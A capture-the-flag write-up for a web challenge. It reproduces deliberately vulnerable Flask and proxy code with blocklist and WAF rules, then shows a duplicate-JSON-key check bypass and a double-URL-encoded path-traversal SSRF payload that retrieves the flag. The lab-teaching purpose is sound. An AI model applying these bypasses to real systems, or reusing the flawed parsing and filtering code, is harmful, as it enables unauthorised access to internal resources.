Challenge Info
Description: NotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:)
Category: Web
Difficulty: Hard
Author: xesh
Challenge Link: https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jasons_proxy
The Challenge
Upon loading the challenge application, we’re presented with a basic front-page with a few images and a link stating that the flag will be located at /admin/flag
. Attempting to browse to this page directly results in a standard Unauthorised
response as shown below.
1
2
3
4
5
6
7
8
|
HTTP/1.1 401 UNAUTHORIZED
Server: gunicorn
Date: Tue, 25 Jan 2022 11:13:33 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13
Unauthorized.
|
Reviewing the initial traffic from the application does reveal some interesting functionality however. It appears the images on the homepage are being loaded via some kind of proxy, an example request is shown below.
1
2
3
4
5
6
7
8
9
10
11
|
POST /jason_loader HTTP/1.1
Host: target.host
Content-Length: 58
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
{"img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLzIucG5n"}
|
Decoding the Base64 string in the img
parameter reveals that the application is loading the images from another internal web service at http://127.0.0.1/static/images/2.png
. However, simply placing http://127.0.0.1/admin/flag
Base64 encoded in the img
parameter doesn’t work and we’re presented with a 500 Internal Server Error
.
Reading the code
Alongside the application itself, we’re also provided with two python scripts, app.py
and proxy.py
. With proxy.py
containing code for the web service retrieving the images and app.py
being the code for the Flask web-service we’re directly interacting with.
Below is the code for app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
#!/usr/bin/python3
import os
from requests import get
from base64 import b64encode, b64decode
from flask import Flask, request, render_template
app = Flask(__name__)
class JSON(object):
def __init__(self):
self.forbidden = ["'","\"","{","}","[","]",",","(",")","\\",";","%"]
self.checked = []
def _forbidden_chk(self, key, value):
chk = False
for bad in self.forbidden:
if bad in key:
chk = True
break
if bad in value:
chk = True
break
return chk
def _checked(self, key):
chk = True
if key in self.checked:
chk = False
return chk
def _security(self, key, value):
chk = False
if not self._checked(key):
return chk
if self._forbidden_chk(key, value):
chk = True
if key == "img":
value = b64decode(bytes(value,'utf-8')).decode()
if self._forbidden_chk(key, value):
chk = True
if chk == False:
self.checked.append(key)
return chk
def parse(self, data):
parsed_data = [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')]
built_data = {}
for obj in parsed_data:
if len(obj) < 2 or self._security(obj[0], obj[1]):
return "Jasons Secure JSON Parsing Blocked Your Request"
if obj[0] == "img":
obj[1] = b64decode(bytes(obj[1],'utf-8')).decode()
built_data[obj[0]] = obj[1]
return built_data
def get_as_b64(img):
try:
if img.startswith('http://127.0.0.1/static/images/'):
return b64encode(get("http://127.0.0.1:9097/"+img).content).decode()
return None
except Exception as e:
return None
@app.route('/')
def _index():
return render_template('index.html')
@app.route('/jason_loader', methods=['POST'])
def _app_jason_loader():
if request.headers.get('Content-Type') != 'application/json':
return '{"error": "invalid content type"}', 400
json = JSON()
pdata = json.parse(request.data)
if type(pdata) == str:
return "{\"error\": \""+pdata+"\"}"
img = pdata.get('img')
if not img:
return "{\"error\": \"Jasons JSON Security Module Triggered\"}"
imgdata = '{"imagedata": "' + get_as_b64(img) + '"}'
return imgdata, 200
@app.route('/admin/flag')
def _flag():
if request.remote_addr != "127.0.0.1":
return "Unauthorized.", 401
return str(os.environ.get('FLAG')), 200
if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=False)
|
Below is the code for proxy.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#!/usr/bin/python3
import os
import socketserver
import urllib.request
from os.path import abspath
from http.server import SimpleHTTPRequestHandler
from urllib.parse import unquote, urlparse, urljoin
PORT = 9097
whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"]
blacklist = ["admin","flag"]
remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"]
def waf(url):
resp = unquote(url)
whitelist_check = False
for uri in whitelist:
if resp.lower().startswith(uri):
whitelist_check = uri
break
if whitelist_check == False:
return None
for forbidden in blacklist:
if forbidden in resp.lower():
return None
for badstr in remove_list:
resp = resp.replace(badstr,"BLOCKEDBY1337WAF")
resp = urlparse(resp)
resp = unquote(abspath(resp.path))
return urljoin(whitelist_check,resp)
class CDNProxy(SimpleHTTPRequestHandler):
def do_GET(self):
url = self.path[1:]
print(self.headers)
self.send_response(200)
self.send_header("X-CDN","CDN-1337")
self.end_headers()
waf_result = waf(url)
if waf_result:
self.copyfile(urllib.request.urlopen(waf_result), self.wfile)
else:
self.wfile.write(bytes("1337 WAF blocked your request","utf-8"))
httpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy)
print("Now serving at " + str(PORT))
httpd.serve_forever()
|
The first thing that stood out to me in this challenge is the presence of a custom JSON class and parser in app.py
, this is very non-sandard given python already has established libraries for parsing JSON, so this is likely where a bug or bugs lay.
Reviewing the code for the suspicious route reveals the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
@app.route('/jason_loader', methods=['POST'])
def _app_jason_loader():
if request.headers.get('Content-Type') != 'application/json':
return '{"error": "invalid content type"}', 400
json = JSON()
pdata = json.parse(request.data)
if type(pdata) == str:
return "{\"error\": \""+pdata+"\"}"
img = pdata.get('img')
if not img:
return "{\"error\": \"Jasons JSON Security Module Triggered\"}"
imgdata = '{"imagedata": "' + get_as_b64(img) + '"}'
return imgdata, 200`
|
To break this down, the conditions we need to meet are
Content-Type
header must be present with the contents application/json
,
- The data type of our JSON value must be a string.
img
must not be empty.
Reviewing the parsing function below, there doesn’t appear to be any checking or functionality to deal with duplicate key values which could potentially lead to issues. Also, noting that the returned built_data
is a dict, it will be restricted to having only one key-value pair for each key.
1
2
3
4
5
6
7
8
9
10
|
def parse(self, data):
parsed_data = [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')]
built_data = {}
for obj in parsed_data:
if len(obj) < 2 or self._security(obj[0], obj[1]):
return "Jasons Secure JSON Parsing Blocked Your Request"
if obj[0] == "img":
obj[1] = b64decode(bytes(obj[1],'utf-8')).decode()
built_data[obj[0]] = obj[1]
return built_data
|
The second issue is within how the _security
and _checked
functions work. Reviewing the JSON
class we can see that self.checked
is initiated as a list (self.checked = []
), and within the _checked
function, we can see that it checks this list to see if the key-value pair has already been checked for malicious input.
1
2
3
4
5
|
def _checked(self, key):
chk = True
if key in self.checked:
chk = False
return chk
|
As we can see in the _security
function, as expected this check is performed prior to any security checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
def _security(self, key, value):
chk = False
if not self._checked(key):
return chk
if self._forbidden_chk(key, value):
chk = True
if key == "img":
value = b64decode(bytes(value,'utf-8')).decode()
if self._forbidden_chk(key, value):
chk = True
if chk == False:
self.checked.append(key)
return chk
|
So with these two issues, in theory, we should be able to provide a malformed JSON request with two img
key-value pairs, the first containing a normal and safe URL, and the second containing our weaponised URL, which will not go through any of the implemented security checks which are blocking the following characters ' " { } [ ] , ( ) \ ; %
.
Next, reviewing the proxy.py
code, it seems there are more WAF rules we need to bypass in order to read the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"]
blacklist = ["admin","flag"]
remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"]
def waf(url):
resp = unquote(url)
whitelist_check = False
for uri in whitelist:
if resp.lower().startswith(uri):
whitelist_check = uri
break
if whitelist_check == False:
return None
for forbidden in blacklist:
if forbidden in resp.lower():
return None
for badstr in remove_list:
resp = resp.replace(badstr,"BLOCKEDBY1337WAF")
resp = urlparse(resp)
resp = unquote(abspath(resp.path))
return urljoin(whitelist_check,resp)
|
Based on this function we determine we need to meet the following conditions:
- Our URL must begin with either
http://127.0.0.1/static/images/
or http://localhost/static/images/
- The strings
admin
and flag
cannot be in the URL
- The strings defined in the
remove_list
cannot be in the URL.
Considerations:
- The URL is ran through
unquote
before processing, this function decodes all URL-encoded characters.
- We can’t use the
remove_list
strings to bypass the blacklist as the bad words are replaced with a different string.
- The URL is ran through
unquote
again at the end of the function.
The solution
We’re able to bypass the second set of WAF rules put in place in the proxy layer by double URL-encoding our payload ../../admin/flag
, this is only possible due the use of two unquote
s in the waf
function.
Our final payload is below, with the second img
value decoding to: http://127.0.0.1/static/images/%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
1
2
3
4
5
6
7
8
9
10
11
|
POST /jason_loader HTTP/1.1
Host: target.host
Content-Length: 303
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
{"img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLzEucG5n","img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLyUyNSUzMiU2NSUyNSUzMiU2NSUyNSUzMiU2NiUyNSUzMiU2NSUyNSUzMiU2NSUyNSUzMiU2NiUyNSUzNiUzMSUyNSUzNiUzNCUyNSUzNiU2NCUyNSUzNiUzOSUyNSUzNiU2NSUyNSUzMiU2NiUyNSUzNiUzNiUyNSUzNiU2MyUyNSUzNiUzMSUyNSUzNiUzNw=="}
|
Which responds with the below response, which once decoded reveals the flag DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx}
.
1
2
3
4
5
6
7
8
|
HTTP/1.1 200 OK
Server: gunicorn
Date: Tue, 25 Jan 2022 12:07:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 97
{"imagedata": "RFVDVEZ7ZDB1YmwzX2pzMG5fZDB1YmwzX1VSSV9yMXBfajRzMG41X3A0dGhfdzF0aF9iMWdfaDR4eH0="}
|